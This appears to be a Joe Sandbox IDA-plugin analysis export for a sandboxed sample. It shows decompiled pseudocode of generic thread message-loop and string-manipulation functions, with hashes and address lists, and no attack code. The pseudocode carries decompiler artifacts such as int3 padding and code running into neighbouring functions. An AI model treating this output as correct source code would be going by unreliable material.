Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 8e512132b4ba77e80ced0f8d2c599a4ead77bd4eaf6f4183de6e41df743542ab
Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
Opcode Fuzzy Hash: 8e512132b4ba77e80ced0f8d2c599a4ead77bd4eaf6f4183de6e41df743542ab
Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC

Uniqueness

Uniqueness Score: -1.00%

Function 0041F070 Relevance: 7.5, APIs: 5, Instructions: 49
windowsynchronizationthreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041F070() {
				struct tagMSG _v32;
				long _t7;

				PostThreadMessageW( *0x51325c, 0x12, 0, 0);
				do {
					while(PeekMessageW( &_v32, 0, 0, 0, 1) != 0) {
						DispatchMessageW( &_v32);
					}
					_t7 = WaitForSingleObject( *0x513260, 0xa);
				} while (_t7 == 0x102);
				 *0x513260 = 0;
				 *0x51325c = 0;
				return _t7;
			}

0x0041f085
0x0041f0a0
0x0041f0b0
0x0041f0b6
0x0041f0c6
0x0041f0d2
0x0041f0d4
0x0041f0dd
0x0041f0e7
0x0041f0f5

APIs

PostThreadMessageW.USER32 ref: 0041F085
PeekMessageW.USER32 ref: 0041F0AC
DispatchMessageW.USER32 ref: 0041F0B6
PeekMessageW.USER32 ref: 0041F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 49
windowsynchronizationthreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041E500() {
				struct tagMSG _v32;
				long _t7;

				PostThreadMessageW( *0x513258, 0x12, 0, 0);
				do {
					while(PeekMessageW( &_v32, 0, 0, 0, 1) != 0) {
						DispatchMessageW( &_v32);
					}
					_t7 = WaitForSingleObject( *0x513254, 0xa);
				} while (_t7 == 0x102);
				 *0x513254 = 0;
				 *0x513258 = 0;
				return _t7;
			}

0x0041e515
0x0041e530
0x0041e540
0x0041e546
0x0041e556
0x0041e562
0x0041e564
0x0041e56d
0x0041e577
0x0041e585

APIs

PostThreadMessageW.USER32 ref: 0041E515
PeekMessageW.USER32 ref: 0041E53C
DispatchMessageW.USER32 ref: 0041E546
PeekMessageW.USER32 ref: 0041E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA40 Relevance: 7.5, APIs: 5, Instructions: 48
windowsynchronizationthreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041FA40(long* __ecx) {
				struct tagMSG _v32;
				long _t9;
				struct HWND__** _t14;

				_t14 = __ecx;
				PostThreadMessageW( *__ecx, 0x12, 0, 0);
				do {
					while(PeekMessageW( &_v32, 0, 0, 0, 1) != 0) {
						DispatchMessageW( &_v32);
					}
					_t9 = WaitForSingleObject(_t14[1], 0xa);
				} while (_t9 == 0x102);
				_t14[1] = 0;
				 *_t14 = 0;
				return _t9;
			}

0x0041fa4b
0x0041fa53
0x0041fa65
0x0041fa75
0x0041fa7b
0x0041fa8b
0x0041fa94
0x0041fa9a
0x0041faa3
0x0041faaa
0x0041fab4

APIs

PostThreadMessageW.USER32 ref: 0041FA53
PeekMessageW.USER32 ref: 0041FA71
DispatchMessageW.USER32 ref: 0041FA7B
PeekMessageW.USER32 ref: 0041FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: 7dc02704ba958b7d98511173c4623a4fa8f2b4100db45197b38ae147ea501182
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 6301AE31B4030577EB205B55DC86FA73B6DDB44B40F544061FB04EE1D1D7F9984587A4

Uniqueness

Uniqueness Score: -1.00%

Function 0041FDF0 Relevance: 7.5, APIs: 5, Instructions: 48
windowsynchronizationthreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041FDF0(long* __ecx) {
				struct tagMSG _v32;
				long _t9;
				struct HWND__** _t14;

				_t14 = __ecx;
				PostThreadMessageW( *__ecx, 0x12, 0, 0);
				do {
					while(PeekMessageW( &_v32, 0, 0, 0, 1) != 0) {
						DispatchMessageW( &_v32);
					}
					_t9 = WaitForSingleObject(_t14[1], 0xa);
				} while (_t9 == 0x102);
				_t14[1] = 0;
				 *_t14 = 0;
				return _t9;
			}

0x0041fdfb
0x0041fe03
0x0041fe15
0x0041fe25
0x0041fe2b
0x0041fe3b
0x0041fe44
0x0041fe4a
0x0041fe53
0x0041fe5a
0x0041fe64

APIs

PostThreadMessageW.USER32 ref: 0041FE03
PeekMessageW.USER32 ref: 0041FE21
DispatchMessageW.USER32 ref: 0041FE2B
PeekMessageW.USER32 ref: 0041FE39
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FE44

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction ID: d705e8d6a79994c6a13c6d22e65b3a6180ae01e64e8e6a22fa5ca061b0d405f5
Opcode Fuzzy Hash: 5ffbf9770eb971b4119c0781c76021866953efcd4bea105f367c69870a8c259a
Instruction Fuzzy Hash: 3501A931B80308B7EB205B95ED8AF973B6DEB44B00F144061FA04EF1E1D7F5A8468BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00417BA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 188
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00417BA0(signed int __ebx, signed int __ecx, signed int _a4, signed int _a8, signed int _a12, signed int _a16) {
				signed int _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				intOrPtr _v44;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t101;
				signed int _t104;
				signed int _t107;
				signed int _t109;
				signed int _t111;
				signed int _t113;
				signed int _t116;
				intOrPtr _t122;
				intOrPtr _t128;
				intOrPtr* _t136;
				signed int _t137;
				intOrPtr* _t139;
				signed int _t146;
				intOrPtr _t154;
				signed int _t155;
				intOrPtr _t162;
				signed int _t171;
				signed int _t174;
				signed int _t176;
				signed int _t177;
				signed int _t180;
				intOrPtr* _t186;
				signed int _t187;
				signed int _t191;
				intOrPtr _t196;
				signed int _t199;
				signed int _t200;
				intOrPtr _t204;
				signed int _t206;
				intOrPtr* _t207;
				void* _t209;
				signed int _t210;
				intOrPtr* _t211;
				intOrPtr* _t212;
				intOrPtr* _t215;
				void* _t217;
				signed int _t218;
				signed int _t219;
				signed int _t221;
				signed int _t222;
				intOrPtr _t223;
				void* _t224;
				signed int _t233;
				signed int _t238;
				intOrPtr* _t239;
				signed int _t241;
				void* _t250;
				void* _t252;
				void* _t253;

				_t176 = __ebx;
				_push(__ecx);
				_t206 = _a12;
				_t238 = __ecx;
				_push(_t221);
				if(_t206 == 0) {
					L13:
					_t186 =  *((intOrPtr*)(_t238 + 0x10));
					_t101 = _a4;
					__eflags = _t186 - _t101;
					if(__eflags < 0) {
						_push("invalid string position");
						E0044F26C(__eflags);
						goto L46;
					} else {
						_t233 = _a8;
						_t217 = _t186 - _t101;
						__eflags = _t217 - _t233;
						_push(_t176);
						_t176 = _a16;
						_t221 =  <  ? _t217 : _t233;
						_t186 = _t186 - _t221;
						__eflags = (_t101 | 0xffffffff) - _t176 - _t186;
						if(__eflags <= 0) {
							L46:
							_push("string too long");
							E0044F23E(__eflags);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_t250 = _t252;
							_t253 = _t252 - 8;
							_push(_t238);
							_push(_t221);
							_t222 = _v12;
							_t239 = _t186;
							__eflags = _t222;
							if(_t222 == 0) {
								L60:
								_t104 =  *(_t239 + 0x10);
								_t187 = _v0;
								__eflags = _t104 - _t187;
								if(__eflags < 0) {
									_push("invalid string position");
									E0044F26C(__eflags);
									goto L91;
								} else {
									_t209 = _t104 - _t187;
									_t187 = _a12;
									_push(_t176);
									_t180 = _a4;
									__eflags = _t209 - _t180;
									_t176 =  <  ? _t209 : _t180;
									_t113 = _t104 - _t176;
									_a4 = _t113;
									__eflags = (_t113 | 0xffffffff) - _t187 - _a4;
									if(__eflags <= 0) {
										L91:
										_push("string too long");
										E0044F23E(__eflags);
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_push(_t250);
										_push(_t176);
										_push(_t239);
										_push(_t222);
										_t223 = _v44;
										__eflags =  *((intOrPtr*)(_t187 + 0x10)) - _t223;
										_t224 =  <  ?  *((void*)(_t187 + 0x10)) : _t223;
										__eflags =  *((intOrPtr*)(_t187 + 0x14)) - 8;
										if( *((intOrPtr*)(_t187 + 0x14)) >= 8) {
											_t187 =  *_t187;
										}
										_t177 = _a8;
										__eflags = _t224 - _t177;
										_t241 =  <  ? _t224 : _t177;
										__eflags = _t241;
										if(_t241 == 0) {
											L98:
											_t107 = 0;
											__eflags = 0;
										} else {
											_t207 = _a4;
											while(1) {
												__eflags =  *_t187 -  *_t207;
												if( *_t187 !=  *_t207) {
													break;
												}
												_t187 = _t187 + 2;
												_t207 = _t207 + 2;
												_t241 = _t241 - 1;
												__eflags = _t241;
												if(_t241 != 0) {
													continue;
												} else {
													goto L98;
												}
												goto L99;
											}
											_t111 =  *_t187 & 0x0000ffff;
											__eflags = _t111 -  *_t207;
											asm("sbb eax, eax");
											_t107 = (_t111 & 0xfffffffe) + 1;
										}
										L99:
										__eflags = _t107;
										if(_t107 != 0) {
											L104:
											return _t107;
										} else {
											__eflags = _t224 - _t177;
											if(_t224 >= _t177) {
												__eflags = _t224 - _t177;
												_t100 = _t224 != _t177;
												__eflags = _t100;
												_t107 = 0 | _t100;
												goto L104;
											} else {
												_t109 = _t107 | 0xffffffff;
												__eflags = _t109;
												return _t109;
											}
										}
									} else {
										_t210 = _t209 - _t176;
										_v16 = _t210;
										__eflags = _t187 - _t176;
										if(_t187 < _t176) {
											_t128 =  *((intOrPtr*)(_t239 + 0x14));
											__eflags = _t128 - 8;
											if(_t128 < 8) {
												_a4 = _t239;
											} else {
												_a4 =  *_t239;
												_t222 = _a8;
											}
											__eflags = _t128 - 8;
											if(_t128 < 8) {
												_v12 = _t239;
											} else {
												_v12 =  *_t239;
											}
											__eflags = _t210;
											if(_t210 != 0) {
												E004205A0(_v12 + (_v0 + _t187) * 2, _a4 + (_v0 + _t176) * 2, _t210 + _t210);
												_t222 = _a8;
												_t253 = _t253 + 0xc;
												_t187 = _a12;
											}
										}
										__eflags = _t187;
										if(_t187 != 0) {
											L73:
											_a4 = _t187 - _t176 +  *(_t239 + 0x10);
											_t116 = E00415D50(_t176, _t239, _t222, _t239, _t187 - _t176 +  *(_t239 + 0x10), 0);
											__eflags = _t116;
											if(_t116 != 0) {
												_t191 = _a12;
												__eflags = _t176 - _t191;
												if(_t176 >= _t191) {
													_t182 = _v0;
												} else {
													_t122 =  *((intOrPtr*)(_t239 + 0x14));
													__eflags = _t122 - 8;
													if(_t122 < 8) {
														_t212 = _t239;
													} else {
														_t212 =  *_t239;
													}
													__eflags = _t122 - 8;
													if(_t122 < 8) {
														_a8 = _t239;
													} else {
														_a8 =  *_t239;
													}
													_t182 = _v0;
													E0040B600(_a8 + (_v0 + _t191) * 2, _t212 + (_v0 + _t176) * 2, _v16);
													_t191 = _a12;
													_t253 = _t253 + 4;
												}
												__eflags =  *((intOrPtr*)(_t239 + 0x14)) - 8;
												if( *((intOrPtr*)(_t239 + 0x14)) < 8) {
													_t211 = _t239;
												} else {
													_t211 =  *_t239;
												}
												__eflags = _t191;
												if(_t191 != 0) {
													E0042D8D0(_t211 + _t182 * 2, _t222, _t191 + _t191);
												}
												E00414DF0(_t239, _a4);
											}
										} else {
											__eflags = _t176;
											if(_t176 != 0) {
												goto L73;
											}
										}
										return _t239;
									}
								}
							} else {
								_t196 =  *((intOrPtr*)(_t239 + 0x14));
								__eflags = _t196 - 8;
								if(_t196 < 8) {
									_t136 = _t239;
								} else {
									_t136 =  *_t239;
								}
								__eflags = _t222 - _t136;
								if(_t222 < _t136) {
									goto L60;
								} else {
									__eflags = _t196 - 8;
									if(_t196 < 8) {
										_t215 = _t239;
									} else {
										_t215 =  *_t239;
									}
									_t137 =  *(_t239 + 0x10);
									__eflags = _t215 + _t137 * 2 - _t222;
									if(_t215 + _t137 * 2 <= _t222) {
										goto L60;
									} else {
										__eflags = _t196 - 8;
										if(_t196 < 8) {
											_t139 = _t239;
										} else {
											_t139 =  *_t239;
										}
										__eflags = _t222 - _t139;
										return E00414920(_t176, _t239, _t222 - _t139 >> 1, _t239, _v0, _a4, _t239, _t222 - _t139 >> 1, _a12);
									}
								}
							}
						} else {
							_t218 = _t217 - _t221;
							_v8 = _t218;
							__eflags = _t176 - _t221;
							if(_t176 < _t221) {
								_t162 =  *((intOrPtr*)(_t238 + 0x14));
								__eflags = _t162 - 0x10;
								if(_t162 < 0x10) {
									_a8 = _t238;
								} else {
									_a8 =  *_t238;
								}
								__eflags = _t162 - 0x10;
								if(_t162 < 0x10) {
									_a16 = _t238;
								} else {
									_a16 =  *_t238;
								}
								__eflags = _t218;
								if(_t218 != 0) {
									__eflags = _a16 + _a4 + _t176;
									E004205A0(_a16 + _a4 + _t176, _a8 + _a4 + _t221, _t218);
									_t252 = _t252 + 0xc;
								}
							}
							__eflags = _t176;
							if(_t176 != 0) {
								L26:
								_push(0);
								_a16 = _t176 - _t221 +  *((intOrPtr*)(_t238 + 0x10));
								_t146 = E00415810(_t176, _t238, _t221, _t176 - _t221 +  *((intOrPtr*)(_t238 + 0x10)));
								__eflags = _t146;
								if(_t146 == 0) {
									goto L44;
								} else {
									__eflags = _t221 - _t176;
									if(_t221 < _t176) {
										_t154 =  *((intOrPtr*)(_t238 + 0x14));
										__eflags = _t154 - 0x10;
										if(_t154 < 0x10) {
											_a8 = _t238;
										} else {
											_a8 =  *_t238;
										}
										__eflags = _t154 - 0x10;
										if(_t154 < 0x10) {
											_t219 = _t238;
										} else {
											_t219 =  *_t238;
										}
										_t155 = _v8;
										__eflags = _t155;
										if(_t155 != 0) {
											__eflags = _t219 + _a4 + _t176;
											E004205A0(_t219 + _a4 + _t176, _a8 + _a4 + _t221, _t155);
											_t252 = _t252 + 0xc;
										}
									}
									__eflags =  *((intOrPtr*)(_t238 + 0x14)) - 0x10;
									if( *((intOrPtr*)(_t238 + 0x14)) < 0x10) {
										_t199 = _t238;
									} else {
										_t199 =  *_t238;
									}
									__eflags = _t176;
									if(_t176 != 0) {
										__eflags = _a4 + _t199;
										E0042D8D0(_a4 + _t199, _a12, _t176);
									}
									__eflags =  *((intOrPtr*)(_t238 + 0x14)) - 0x10;
									_t200 = _a16;
									 *((intOrPtr*)(_t238 + 0x10)) = _t200;
									if( *((intOrPtr*)(_t238 + 0x14)) < 0x10) {
										 *((char*)(_t238 + _t200)) = 0;
										goto L44;
									} else {
										 *((char*)( *_t238 + _t200)) = 0;
										return _t238;
									}
								}
							} else {
								__eflags = _t221;
								if(_t221 == 0) {
									L44:
									return _t238;
								} else {
									goto L26;
								}
							}
						}
					}
				} else {
					_t204 =  *((intOrPtr*)(__ecx + 0x14));
					if(_t204 < 0x10) {
						_t171 = __ecx;
					} else {
						_t171 =  *((intOrPtr*)(__ecx));
					}
					if(_t206 < _t171) {
						goto L13;
					} else {
						if(_t204 < 0x10) {
							_t221 = _t238;
						} else {
							_t221 =  *_t238;
						}
						if( *((intOrPtr*)(_t238 + 0x10)) + _t221 <= _t206) {
							goto L13;
						} else {
							if(_t204 < 0x10) {
								_t174 = _t238;
							} else {
								_t174 =  *_t238;
							}
							return E00418000(_t176, _t238, _t221, _t238, _a4, _a8, _t238, _t206 - _t174, _a16);
						}
					}
				}
			}

0x00417ba0
0x00417ba3
0x00417ba4
0x00417ba8
0x00417baa
0x00417bad
0x00417bfc
0x00417bfc
0x00417bff
0x00417c02
0x00417c04
0x00417d2c
0x00417d31
0x00000000
0x00417c0a
0x00417c0a
0x00417c0f
0x00417c11
0x00417c13
0x00417c14
0x00417c17
0x00417c1d
0x00417c21
0x00417c23
0x00417d36
0x00417d36
0x00417d3b
0x00417d40
0x00417d41
0x00417d42
0x00417d43
0x00417d44
0x00417d45
0x00417d46
0x00417d47
0x00417d48
0x00417d49
0x00417d4a
0x00417d4b
0x00417d4c
0x00417d4d
0x00417d4e
0x00417d4f
0x00417d51
0x00417d53
0x00417d56
0x00417d57
0x00417d58
0x00417d5b
0x00417d5d
0x00417d5f
0x00417db1
0x00417db1
0x00417db4
0x00417db7
0x00417db9
0x00417edf
0x00417ee4
0x00000000
0x00417dbf
0x00417dc1
0x00417dc3
0x00417dc6
0x00417dc7
0x00417dca
0x00417dcc
0x00417dcf
0x00417dd1
0x00417dd9
0x00417ddc
0x00417ee9
0x00417ee9
0x00417eee
0x00417ef3
0x00417ef4
0x00417ef5
0x00417ef6
0x00417ef7
0x00417ef8
0x00417ef9
0x00417efa
0x00417efb
0x00417efc
0x00417efd
0x00417efe
0x00417eff
0x00417f00
0x00417f03
0x00417f04
0x00417f05
0x00417f06
0x00417f09
0x00417f0c
0x00417f10
0x00417f14
0x00417f16
0x00417f16
0x00417f18
0x00417f1b
0x00417f1f
0x00417f22
0x00417f24
0x00417f41
0x00417f41
0x00417f41
0x00417f26
0x00417f26
0x00417f30
0x00417f33
0x00417f36
0x00000000
0x00000000
0x00417f38
0x00417f3b
0x00417f3e
0x00417f3e
0x00417f3f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00417f3f
0x00417f55
0x00417f58
0x00417f5b
0x00417f60
0x00417f60
0x00417f43
0x00417f43
0x00417f45
0x00417f6a
0x00417f6e
0x00417f47
0x00417f47
0x00417f49
0x00417f65
0x00417f67
0x00417f67
0x00417f67
0x00000000
0x00417f4b
0x00417f4d
0x00417f4d
0x00417f52
0x00417f52
0x00417f49
0x00417de2
0x00417de2
0x00417de4
0x00417de7
0x00417de9
0x00417deb
0x00417dee
0x00417df1
0x00417dfd
0x00417df3
0x00417df5
0x00417df8
0x00417df8
0x00417e00
0x00417e03
0x00417e0c
0x00417e05
0x00417e07
0x00417e07
0x00417e0f
0x00417e11
0x00417e2e
0x00417e33
0x00417e36
0x00417e39
0x00417e39
0x00417e11
0x00417e3c
0x00417e3e
0x00417e48
0x00417e4f
0x00417e55
0x00417e5a
0x00417e5c
0x00417e5e
0x00417e61
0x00417e63
0x00417ea6
0x00417e65
0x00417e65
0x00417e68
0x00417e6b
0x00417e71
0x00417e6d
0x00417e6d
0x00417e6d
0x00417e73
0x00417e76
0x00417e7f
0x00417e78
0x00417e7a
0x00417e7a
0x00417e8a
0x00417e99
0x00417e9e
0x00417ea1
0x00417ea1
0x00417ea9
0x00417ead
0x00417eb3
0x00417eaf
0x00417eaf
0x00417eaf
0x00417eb5
0x00417eb7
0x00417ec2
0x00417ec7
0x00417ecf
0x00417ecf
0x00417e40
0x00417e40
0x00417e42
0x00000000
0x00000000
0x00417e42
0x00417edc
0x00417edc
0x00417ddc
0x00417d61
0x00417d61
0x00417d64
0x00417d67
0x00417d6d
0x00417d69
0x00417d69
0x00417d69
0x00417d6f
0x00417d71
0x00000000
0x00417d73
0x00417d73
0x00417d76
0x00417d7c
0x00417d78
0x00417d78
0x00417d78
0x00417d7e
0x00417d84
0x00417d86
0x00000000
0x00417d88
0x00417d88
0x00417d8b
0x00417d91
0x00417d8d
0x00417d8d
0x00417d8d
0x00417d96
0x00417dae
0x00417dae
0x00417d86
0x00417d71
0x00417c29
0x00417c29
0x00417c2b
0x00417c2e
0x00417c30
0x00417c32
0x00417c35
0x00417c38
0x00417c41
0x00417c3a
0x00417c3c
0x00417c3c
0x00417c44
0x00417c47
0x00417c50
0x00417c49
0x00417c4b
0x00417c4b
0x00417c53
0x00417c55
0x00417c67
0x00417c6a
0x00417c6f
0x00417c6f
0x00417c55
0x00417c72
0x00417c74
0x00417c7e
0x00417c87
0x00417c8a
0x00417c8d
0x00417c92
0x00417c94
0x00000000
0x00417c9a
0x00417c9a
0x00417c9c
0x00417c9e
0x00417ca1
0x00417ca4
0x00417cad
0x00417ca6
0x00417ca8
0x00417ca8
0x00417cb0
0x00417cb3
0x00417cb9
0x00417cb5
0x00417cb5
0x00417cb5
0x00417cbb
0x00417cbe
0x00417cc0
0x00417cd1
0x00417cd4
0x00417cd9
0x00417cd9
0x00417cc0
0x00417cdc
0x00417ce0
0x00417ce6
0x00417ce2
0x00417ce2
0x00417ce2
0x00417ce8
0x00417cea
0x00417cf3
0x00417cf6
0x00417cfb
0x00417cfe
0x00417d02
0x00417d05
0x00417d08
0x00417d1d
0x00000000
0x00417d0a
0x00417d0e
0x00417d18
0x00417d18
0x00417d08
0x00417c76
0x00417c76
0x00417c78
0x00417d21
0x00417d29
0x00000000
0x00000000
0x00000000
0x00417c78
0x00417c74
0x00417c23
0x00417baf
0x00417baf
0x00417bb5
0x00417bbb
0x00417bb7
0x00417bb7
0x00417bb7
0x00417bbf
0x00000000
0x00417bc1
0x00417bc4
0x00417bca
0x00417bc6
0x00417bc6
0x00417bc6
0x00417bd3
0x00000000
0x00417bd5
0x00417bd8
0x00417bde
0x00417bda
0x00417bda
0x00417bda
0x00417bf9
0x00417bf9
0x00417bd3
0x00417bbf

APIs

_memmove.LIBCMT ref: 00417C6A
_memmove.LIBCMT ref: 00417CD4

Strings

string too long, xrefs: 00417D36
invalid string position, xrefs: 00417D2C

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction ID: 16eedd03d570a769cf24423414cb71a1906862ef28ca1dd771941f38c47b8a04
Opcode Fuzzy Hash: b2c1af29de5962b74b57e5661815869f54c56e8a90a0ab9c91a19098a667a223
Instruction Fuzzy Hash: C451C3317081089BDB24CE1CD980AAA77B6EF85714B24891FF856CB381DB35EDD18BD9

Uniqueness

Uniqueness Score: -1.00%

Function 00414160 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00414160(signed int __eax, void* __ebx, intOrPtr* __ecx, signed int __edi, void* __esi, intOrPtr _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				intOrPtr* _v20;
				void* __ebp;
				intOrPtr* _t24;
				intOrPtr _t31;
				intOrPtr* _t34;
				intOrPtr _t38;
				intOrPtr* _t39;
				intOrPtr* _t48;
				intOrPtr* _t51;
				intOrPtr _t53;
				intOrPtr* _t56;
				intOrPtr* _t57;
				signed int _t59;
				void* _t60;
				intOrPtr* _t63;
				void* _t67;

				_push(__ecx);
				_push(__ebx);
				_t63 = __ecx;
				_push(__edi);
				_t59 = __edi | 0xffffffff;
				_t51 =  *((intOrPtr*)(__ecx + 0x10));
				if(_t51 < _a4) {
					L32:
					_push("invalid string position");
					E0044F26C(__eflags);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					__eflags =  *((intOrPtr*)(_t51 + 0x14)) - 0x10;
					_t24 = _v20;
					if( *((intOrPtr*)(_t51 + 0x14)) >= 0x10) {
						_t51 =  *_t51;
					}
					 *_t24 = _t51;
					return _t24;
				} else {
					_t48 = _a8;
					_t5 = _t48 + 0x10; // 0xcccccccc
					_t60 =  <  ?  *_t5 : _t59;
					if((__eax | 0xffffffff) - _t51 <= _t60) {
						_push("string too long");
						E0044F23E(__eflags);
						goto L32;
					} else {
						if(_t60 != 0) {
							_push(0);
							_v8 = _t51 + _t60;
							if(E00415810(_t48, __ecx, _t60, _t51 + _t60) != 0) {
								_t31 =  *((intOrPtr*)(__ecx + 0x14));
								if(_t31 < 0x10) {
									_a8 = __ecx;
								} else {
									_a8 =  *__ecx;
								}
								if(_t31 < 0x10) {
									_t56 = _t63;
								} else {
									_t56 =  *_t63;
								}
								_t53 = _a4;
								_t33 =  *((intOrPtr*)(_t63 + 0x10)) != _t53;
								if( *((intOrPtr*)(_t63 + 0x10)) != _t53) {
									E004205A0(_t56 + _t53 + _t60, _a8 + _t53, _t33);
									_t53 = _a4;
									_t67 = _t67 + 0xc;
								}
								if(_t63 != _t48) {
									__eflags =  *((intOrPtr*)(_t48 + 0x14)) - 0x10;
									if( *((intOrPtr*)(_t48 + 0x14)) >= 0x10) {
										_t48 =  *_t48;
									}
									__eflags =  *((intOrPtr*)(_t63 + 0x14)) - 0x10;
									if( *((intOrPtr*)(_t63 + 0x14)) < 0x10) {
										_t34 = _t63;
									} else {
										_t34 =  *_t63;
									}
									__eflags = _t60;
									if(_t60 != 0) {
										__eflags = _t34 + _t53;
										E0042D8D0(_t34 + _t53, _t48, _t60);
										goto L28;
									}
								} else {
									_t38 =  *((intOrPtr*)(_t63 + 0x14));
									if(_t38 < 0x10) {
										_t57 = _t63;
									} else {
										_t57 =  *_t63;
									}
									if(_t38 < 0x10) {
										_t39 = _t63;
									} else {
										_t39 =  *_t63;
									}
									if(_t60 != 0) {
										E004205A0(_t39 + _t53, _t57, _t60);
										L28:
									}
								}
								E00414460(_t63, _v8);
							}
						}
						return _t63;
					}
				}
			}

0x00414163
0x00414164
0x00414166
0x00414168
0x00414169
0x0041416c
0x00414172
0x00414260
0x00414260
0x00414265
0x0041426a
0x0041426b
0x0041426c
0x0041426d
0x0041426e
0x0041426f
0x00414273
0x00414277
0x0041427a
0x0041427c
0x0041427c
0x0041427e
0x00414281
0x00414178
0x00414178
0x0041417f
0x0041417f
0x0041418a
0x00414256
